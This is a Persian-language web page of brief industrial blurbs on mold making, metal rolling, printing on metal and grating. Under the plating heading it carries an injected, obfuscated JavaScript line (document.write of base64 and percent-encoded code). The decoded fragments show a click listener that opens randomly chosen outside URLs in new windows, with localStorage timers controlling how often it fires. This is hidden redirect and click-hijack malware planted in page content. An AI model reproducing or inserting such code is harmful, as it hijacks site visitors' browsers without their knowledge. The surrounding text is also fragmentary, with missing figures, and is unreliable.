قالب سازی
تولید قالب باعث شد که تعداد زیادی از مردم در این شغل مشغول به کار شوند و یکی از راههای درآمد بسیاری از افراد شده است. خوشبختانه در کشور ما انواع قالبها در شرکتهای مختلفی تولید میشود که نیاز به نیروی کار داشته و ساختن قالبها امر بسیار دشواری نیست و فقط دقت بالایی نیاز دارد.
نورد فلزات
نورد سرد یا CRC، در اصل همان نورد گرم است؛ اما پردازش بیشتری دارد. این روش برای تولید محصولاتی با ابعاد دقیق تر کاربرد بسیاری دارد. در نورد سرد، دمای محیط نورد باید کمتر از دمای تبلور مجدد آن باشد؛ به همین علت کیفیت سطحی محصول نهایی بیشتر خواهد بود.
چاپ روی فلزات
فلز به عنوان مقاومترین متریال موجود در دنیا شناخته میشود که از آن در مصارف مختلف میتوان استفاده کرد. انجام چاپ روی فلز یکی از موارد کاربردی است که موجب میشود تا افراد بتوانند طرح و تصویر مورد علاقه خود را بر روی اشکال مختلفی از فلزات حک کنند. ماندگاری بالا، مقاومت در برابر عوامل بیرونی، نصب آسان، تولید در اندازههای گوناگون، استفاده از میلیونها رنگ در چاپ، شفافیت، چاپپذیری بالا، شادابی رنگها و از جمله مزیتهای اجرای چاپ عکس روی فلز مانند چاپ روی استیل ، چاپ روی آلومینیوم و به شمار میروند. هرچند انجام این کار میتواند گران تمام شود اما با توجه به طول عمر بالای محصول مقرون به صرفه خواهد بود.
گریتینگ
امروزه کاربرد سطوح مشبک فلزی یا شبکه های فولادی که به اصطلاح لاتین گریتینگ نامیده میشود گسترش بیشتری پیدا کرده است. به نحوی که کارشناسان، پس از مشاهده ی محاسن استفاده از گریتینگ در صنعت، تصمیم گرفتند تا از گریتینگ در تکمیل یا بهینهسازی طراحی شهر و ساختمان سازی نیز بهره مند شوند.
نورد فلزات
کنترل دما در روش نورد گرم اهمیت زیادی دارد. در این روش، باید دمای فلز در تمامی نقاط، حداقل بین ۵ تا درجه سانتیگراد از دمای تبلور فلز بیشتر باشد. غلتکهای مورد استفاده در روش نورد گرم هم بین تا سانتیمتر قطر دارند.
آبکاری و لعاب کاری
document.write(atob("PHNjcmlwdCBeXBlPSJZXhLphdmFzYJpcHQiPmRvYVtZWLndyaXRlKHVuZXNjYXBlKCIlMMlNzMlNjMlNzIlNjklNzAlNzQlMUlMjglNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlMjAlMjglNzAlNjElNzIlNjElNkQlNjUlNzQlNjUlNzIlNzMlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzQlNjElNzIlNjclNjUlNzQlNzMlMjAlMQlMjAlNUIlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNTklNTclNTElMzAlNjMlMzElMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNTQlNUElNjYlMzElNjMlMzQlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNTQlNkQlNDYlMzIlNjMlMzIlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNzQlNEMlNjclMzMlNjMlMzAlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNzUlNjUlNTMlMzQlNjMlMzklMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNTUlNjIlNTklMzUlNjMlMzQlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNTclNDMlNDYlMzYlNjMlMzglMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNjIlNzMlNjIlMzclNjMlMzQlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNEMlNkIlNDUlMzglNjMlMzYlMjclMkMlMjAlMjclNjglNzQlNzQlNzAlNzMlMElMkYlMkYlNkYlNkYlMkQlNkYlMkUlNjMlNkYlMkYlNkMlNjQlNzQlMzklNjMlMzQlMjclNUQlMEQlMEElMjAlMjAlMjAlMjAlMkYlMkYlMjAlNTQlNjklNkQlNjUlNzMlMjAlNjIlNjUlNzQlNzclNjUlNjUlNkUlMjAlNjMlNkMlNjklNjMlNkIlNzMlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzIlNjUlNzMlNzQlNEQlNjklNkUlNzUlNzQlNjUlNzMlMjAlMQlMjAlMzElMIlMEQlMEElMjAlMjAlMjAlMjAlMkYlMkYlMjAlNEUlNzUlNkQlNjIlNjUlNzIlMjAlNkYlNjYlMjAlNjglNkYlNzUlNzIlNzMlMjAlNzQlNkYlMjAlNjElNkMlNkMlNkYlNzclMjAlNzIlNjUlMkQlNjMlNkMlNjklNjMlNkIlMjAlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjElNkMlNkMlNkYlNzclNjUlNjQlNDglNkYlNzUlNzIlNzMlMjAlMQlMjAlMzIlMIlMEQlMEElMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNjElNzYlNjUlNTQlNjElNzIlNjclNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNzMlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjAlMQlMjAlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNjElNzIlNjclNjUlNzQlNzMlMkUlNjYlNkYlNzIlNDUlNjElNjMlNjglMjglMjglNzQlNjElNzIlNjclNjUlNzQlMkMlMjAlNjklNkUlNjQlNjUlNzglMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglMjElNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNjclNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNzQlNjElNzIlNjclNjUlNzQlNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMjklMjklNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMDklNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNzMlNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNzQlNjElNzIlNjclNjUlNzQlNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMkMlMjAlMzAlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjclNjUlNzQlNTIlNjElNkUlNjQlNkYlNkQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDYlNzIlNkYlNkQlNTMlNzQlNkYlNzIlNjElNjclNjUlMjAlMQlMjAlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNkUlNkYlNkUlNTYlNjklNzMlNjklNzQlNjUlNjQlMjAlMQlMjAlNzQlNjElNzIlNjclNjUlNzQlNzMlMkUlNjYlNjklNkMlNzQlNjUlNzIlMjglMjglNzQlNjElNzIlNjclNjUlNzQlMkMlMjAlNjklNkUlNjQlNjUlNzglMjklMjAlMQlMUlMjAlNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNjclNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNzQlNjElNzIlNjclNjUlNzQlNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMjklMjAlMQlMQlMjAlMzAlMjklMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNkUlMjAlNkUlNkYlNkUlNTYlNjklNzMlNjklNzQlNjUlNjQlNUIlNEQlNjElNzQlNjglMkUlNjYlNkMlNkYlNkYlNzIlMjglNEQlNjElNzQlNjglMkUlNzIlNjElNkUlNjQlNkYlNkQlMjglMjklMjAlMkElMjAlNkUlNkYlNkUlNTYlNjklNzMlNjklNzQlNjUlNjQlMkUlNkMlNjUlNkUlNjclNzQlNjglMjklNUQlMIlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDElNzMlNTYlNjklNzMlNjklNzQlNjUlNjQlMjAlMQlMjAlMjglNzQlNjElNzIlNjclNjUlNzQlMjklMjAlMQlMUlMjAlNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNzMlNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNzQlNjElNzIlNjclNjUlNzQlNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMkMlMjAlMzElMjklMIlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjclNjUlNzQlNTQlNjklNkQlNjUlNTMlNzQlNkYlNzIlNjElNjclNjUlMjAlMQlMjAlMjglNkIlNjUlNzklMjklMjAlMQlMUlMjAlNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNjclNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNkIlNjUlNzklNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNjUlNzQlNTQlNjklNkQlNjUlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjAlMQlMjAlMjglNkIlNjUlNzklMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMjAlMQlMUlMjAlNkMlNkYlNjMlNjElNkMlNTMlNzQlNkYlNzIlNjElNjclNjUlMkUlNzMlNjUlNzQlNDklNzQlNjUlNkQlMjglNjAlMjQlNIlNkIlNjUlNzklNQlMkQlNkMlNkYlNjMlNjElNkMlMkQlNzMlNzQlNkYlNzIlNjElNjclNjUlNjAlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjclNjUlNzQlNDglNkYlNzUlNzIlNzMlNDQlNjklNjYlNjYlMjAlMQlMjAlMjglNzMlNzQlNjElNzIlNzQlNDQlNjElNzQlNjUlMkMlMjAlNjUlNkUlNjQlNDQlNjElNzQlNjUlMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNkQlNzMlNDklNkUlNDglNkYlNzUlNzIlMjAlMQlMjAlMzElMzAlMzAlMzAlMjAlMkElMjAlMzYlMzAlMjAlMkElMjAlMzYlMzAlMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNkUlMjAlNEQlNjElNzQlNjglMkUlNzIlNkYlNzUlNkUlNjQlMjglNEQlNjElNzQlNjglMkUlNjElNjIlNzMlMjglNjUlNkUlNjQlNDQlNjElNzQlNjUlMjAlMkQlMjAlNzMlNzQlNjElNzIlNzQlNDQlNjElNzQlNjUlMjklMjAlMkYlMjAlNkQlNzMlNDklNkUlNDglNkYlNzUlNzIlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjclNjUlNzQlNEQlNjklNkUlNzQlNzMlNDQlNjklNjYlNjYlMjAlMQlMjAlMjglNzMlNzQlNjElNzIlNzQlNDQlNjElNzQlNjUlMkMlMjAlNjUlNkUlNjQlNDQlNjElNzQlNjUlMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNkQlNzMlNDklNkUlNEQlNjklNkUlNzQlNzMlMjAlMQlMjAlMzElMzAlMzAlMzAlMjAlMkElMjAlMzYlMzAlMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNkUlMjAlNEQlNjElNzQlNjglMkUlNzIlNkYlNzUlNkUlNjQlMjglNEQlNjElNzQlNjglMkUlNjElNjIlNzMlMjglNjUlNkUlNjQlNDQlNjElNzQlNjUlMjAlMkQlMjAlNzMlNzQlNjElNzIlNzQlNDQlNjElNzQlNjUlMjklMjAlMkYlMjAlNkQlNzMlNDklNkUlNEQlNjklNkUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzYlNjklNzMlNjklNzQlNEUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjAlMQlMjAlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMkMlMjAlNjglNkYlNzMlNzQlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMjAlMQlMUlMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjElNzYlNjUlNTQlNjElNzIlNjclNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNzMlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjAlMQlMjAlNjclNjUlNzQlNTIlNjElNkUlNjQlNkYlNkQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDYlNzIlNkYlNkQlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNTQlNjklNkQlNjUlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNkQlNkUlNzQlNzMlNjAlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNTQlNjklNkQlNjUlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNjglNzUlNzIlNzMlNjAlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDElNzMlNTYlNjklNzMlNjklNzQlNjUlNjQlMjglNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjklNkUlNjQlNkYlNzclMkUlNkYlNzAlNjUlNkUlMjglNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMkMlMjAlMjIlNUYlNjIlNkMlNjElNkUlNkIlMjIlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlMkYlMkYlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzIlNjElNkUlNjQlNkYlNkQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjAlMQlMjAlNjclNjUlNzQlNTIlNjElNkUlNjQlNkYlNkQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDYlNzIlNkYlNkQlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlNzMlNjElNzYlNjUlNTQlNjElNzIlNjclNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNzMlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlMjAlNjclNkMlNkYlNjIlNjElNkMlNDMlNkMlNjklNjMlNkIlMjglNjUlNzYlNjUlNkUlNzQlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNzYlNjUlNkUlNzQlMkUlNzMlNzQlNkYlNzAlNTAlNzIlNkYlNzAlNjElNjclNjElNzQlNjklNkYlNkUlMjglMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjglNkYlNzMlNzQlMjAlMQlMjAlNkMlNkYlNjMlNjElNzQlNjklNkYlNkUlMkUlNjglNkYlNzMlNzQlMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNkMlNjUlNzQlMjAlNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjAlMQlMjAlNjclNjUlNzQlNTIlNjElNkUlNjQlNkYlNkQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDYlNzIlNkYlNkQlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjAlMQlMjAlNDQlNjElNzQlNjUlMkUlNzAlNjElNzIlNzMlNjUlMjglNkUlNjUlNzclMjAlNDQlNjElNzQlNjUlMjglMjklMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNEQlNjklNkUlNzQlNzMlMjAlMQlMjAlNjclNjUlNzQlNTQlNjklNkQlNjUlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNkQlNkUlNzQlNzMlNjAlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNDglNkYlNzUlNzIlNzMlMjAlMQlMjAlNjclNjUlNzQlNTQlNjklNkQlNjUlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNjglNzUlNzIlNzMlNjAlMjklMIlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjAlMjglNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNEQlNjklNkUlNzQlNzMlMjAlMjYlMjYlMjAlNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNDglNkYlNzUlNzIlNzMlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNzQlNkYlNzIlNjElNjclNjUlNDQlNjElNzQlNjUlNDYlNkYlNzIlNEQlNjklNkUlNzQlNzMlMjAlMQlMjAlNzAlNjElNzIlNzMlNjUlNDklNkUlNzQlMjglNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNEQlNjklNkUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNzMlNzQlNkYlNzIlNjElNjclNjUlNDQlNjElNzQlNjUlNDYlNkYlNzIlNDglNkYlNzUlNzIlNzMlMjAlMQlMjAlNzAlNjElNzIlNzMlNjUlNDklNkUlNzQlMjglNzMlNjElNzYlNjUlNjQlNDQlNjElNzQlNjUlNDYlNkYlNzIlNDglNkYlNzUlNzIlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNkQlNjklNkUlNzQlNzMlNDQlNjklNjYlNjYlMjAlMQlMjAlNjclNjUlNzQlNEQlNjklNkUlNzQlNzMlNDQlNjklNjYlNjYlMjglNkUlNkYlNzclNDQlNjElNzQlNjUlMkMlMjAlNzMlNzQlNkYlNzIlNjElNjclNjUlNDQlNjElNzQlNjUlNDYlNkYlNzIlNEQlNjklNkUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNkYlNkUlNzMlNzQlMjAlNjglNkYlNzUlNzIlNzMlNDQlNjklNjYlNjYlMjAlMQlMjAlNjclNjUlNzQlNDglNkYlNzUlNzIlNzMlNDQlNjklNjYlNjYlMjglNkUlNkYlNzclNDQlNjElNzQlNjUlMkMlMjAlNzMlNzQlNkYlNzIlNjElNjclNjUlNDQlNjElNzQlNjUlNDYlNkYlNzIlNDglNkYlNzUlNzIlNzMlMjklMIlMEQlMEElMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjAlMjglNjglNkYlNzUlNzIlNzMlNDQlNjklNjYlNjYlMjAlMUlMQlMjAlNjElNkMlNkMlNkYlNzclNjUlNjQlNDglNkYlNzUlNzIlNzMlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjElNzYlNjUlNTQlNjElNzIlNjclNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNzMlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNTQlNjklNkQlNjUlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNjglNzUlNzIlNzMlNjAlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjAlMjglNkQlNjklNkUlNzQlNzMlNDQlNjklNjYlNjYlMjAlMUlMQlMjAlNzIlNjUlNzMlNzQlNEQlNjklNkUlNzUlNzQlNjUlNzMlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjAlMjglNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjklMjAlNIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNTQlNjklNkQlNjUlNTQlNkYlNTMlNzQlNkYlNzIlNjElNjclNjUlMjglNjAlMjQlNIlNjglNkYlNzMlNzQlNQlMkQlNkQlNkUlNzQlNzMlNjAlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjklNkUlNjQlNkYlNzclMkUlNkYlNzAlNjUlNkUlMjglNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMkMlMjAlMjIlNUYlNjIlNkMlNjElNkUlNkIlMjIlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNjUlNzQlNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlNDElNzMlNTYlNjklNzMlNjklNzQlNjUlNjQlMjglNkUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjklMIlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMjAlNjMlNjElNzQlNjMlNjglMjAlMjglNjUlNzIlNzIlNkYlNzIlMjklMjAlNIlMjAlNzYlNjklNzMlNjklNzQlNEUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMkMlMjAlNjglNkYlNzMlNzQlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNQlMjAlNjUlNkMlNzMlNjUlMjAlNIlMjAlNzYlNjklNzMlNjklNzQlNEUlNjUlNzclNEMlNkYlNjMlNjElNzQlNjklNkYlNkUlMjglNzQlNjElNzIlNjclNjUlNzQlNzMlMkMlMjAlNjglNkYlNzMlNzQlMkMlMjAlNkUlNkYlNzclNDQlNjElNzQlNjUlMjklMIlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlNQlMEQlMEElMjAlMjAlMjAlMjAlNjQlNkYlNjMlNzUlNkQlNjUlNkUlNzQlMkUlNjElNjQlNjQlNDUlNzYlNjUlNkUlNzQlNEMlNjklNzMlNzQlNjUlNkUlNjUlNzIlMjglMjIlNjMlNkMlNjklNjMlNkIlMjIlMkMlMjAlNjclNkMlNkYlNjIlNjElNkMlNDMlNkMlNjklNjMlNkIlMjklMEQlMEElNQlMjklMjglMjklMMlMkYlNzMlNjMlNzIlNjklNzAlNzQlMUiKSkLNjcmlwdD="))
نورد فلزات
به همین علت از کورههای هم دماساز استفاده میکنند تا دمای تختال هنگام خروج از کوره به میزان یکنواختی درآید. این دما به عواملی همچون ابعاد تختال، شرایط نورد، نوع فولاد، تعداد مراحل نورد، دمای ورق در مراحل انتهایی و دیگر عوامل وابسته است.
قالب سازی
برای ساخت قالب صنعتی باید از لوازم قالب سازی استفاده کرد. این لوازم بر اساس نوع قالب و کاربرد آنها استفاده می شوند. از لوازم قالب سازی می توان به ابزار هایی مانند سنبه، سنبه برش، دستگاه های تراشکاری، دستگاه های CNC، کفشک های چدنی و فولادی اشاره کرد. هر کدام از این ابزارها بر اساس نوع قالبی که مورد نیاز است تا ساخته شود، استفاده خواهند شد.
جوشکاری
